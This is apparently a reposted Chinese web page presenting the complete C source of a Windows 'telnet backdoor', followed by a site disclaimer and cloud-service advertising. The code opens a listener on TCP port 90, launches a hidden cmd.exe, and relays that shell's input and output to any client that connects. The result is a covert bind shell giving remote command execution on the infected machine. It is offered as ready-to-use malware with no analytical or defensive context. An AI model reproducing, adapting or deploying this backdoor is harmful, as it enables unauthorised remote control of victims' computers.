一個Telnet後門程式)

來源:互聯網
上載者:User


/****************************************************
 created  : 2004/10/09
 created  : 9:10:2004   9:37
 file base : tini
 file ext : c
 author  : XueFeng
 
 purpose  : telnet backdoor
****************************************************/

#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")

#define PORT 90
SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
unsigned char varA,varB;

//接收Telnet用戶端資訊
DWORD WINAPI ThreadFuncA(LPVOID lpParam)
{
    SECURITY_ATTRIBUTES pipeattr;
    DWORD nByteToWrite, nByteWritten;
    char recv_buff[1024];
 
    pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
    pipeattr.lpSecurityDescriptor = NULL;
    pipeattr.bInheritHandle = TRUE;
 //建立管道
    CreatePipe(&hReadPipe, &hWriteFile, &pipeattr, 0);
    varA = 1;
    while(TRUE)
    {
        Sleep(250);
        nByteToWrite = recv(ClientSocket, recv_buff, 1024, 0);
        WriteFile(hWriteFile, recv_buff, nByteToWrite, &nByteWritten, NULL);
    }
    return 0;
}

//將命令的執行結果發往Telnet用戶端
DWORD WINAPI ThreadFuncB(LPVOID lpParam)
{
    SECURITY_ATTRIBUTES pipeattr;
    DWORD len;
    char send_buff[25000];

    pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
    pipeattr.lpSecurityDescriptor = NULL;
    pipeattr.bInheritHandle = TRUE;
    CreatePipe(&hReadFile, &hWritePipe, &pipeattr, 0);
    varB = 1;
    while (TRUE)
    {
        ReadFile(hReadFile, send_buff, 25000, &len, NULL);
        send(ClientSocket, send_buff, len, 0);
    }
    return 0;
}
void main(void)
{
    WSADATA WSAData;
    struct sockaddr_in RemoteAddr;
    DWORD dwThreadIdA, dwThreadIdB, dwThreadParam=0;
    OSVERSIONINFO osvi;
    PROCESS_INFORMATION processinfo;
    STARTUPINFO startinfo;
 char szAPP[256];

 //建立Telnet服務,監聽等待用戶端串連
    WSAStartup(MAKEWORD(2,2), &WSAData);
    ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    RemoteAddr.sin_family = AF_INET;
    RemoteAddr.sin_port = htons(PORT);
    RemoteAddr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
    bind(ServerSocket, (LPSOCKADDR)&RemoteAddr, sizeof(RemoteAddr));
    listen(ServerSocket, 5);
    varA = 0;
    varB = 0;
    CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
    CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);
    do
 {
  Sleep(250);
    } while((varA || varB) == 0);
    GetStartupInfo(&startinfo);
 //設定後台進程屬性
    startinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    startinfo.hStdInput = hReadPipe;
    startinfo.hStdError = hWritePipe;
    startinfo.hStdOutput = hWritePipe;
    startinfo.wShowWindow = SW_HIDE;
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    GetVersionEx(&osvi);
    GetSystemDirectory(szAPP, MAX_PATH + 1);
    if (osvi.dwPlatformId == 2)
    {
        strcat(szAPP, "//cmd.exe");
        if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo,
   &processinfo) == 0)
        {
            printf ("Create Process Error!/n");
            return;
        }
    }
    else
    {
        strcat(szAPP, "//command.exe");
        CreateProcess(NULL, szAPP, 0, 0, TRUE, 0, 0, 0, &startinfo, &processinfo);
    }
    while (TRUE)
    {
  ClientSocket = accept(ServerSocket, NULL, NULL);
        Sleep(250);
    }
}

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.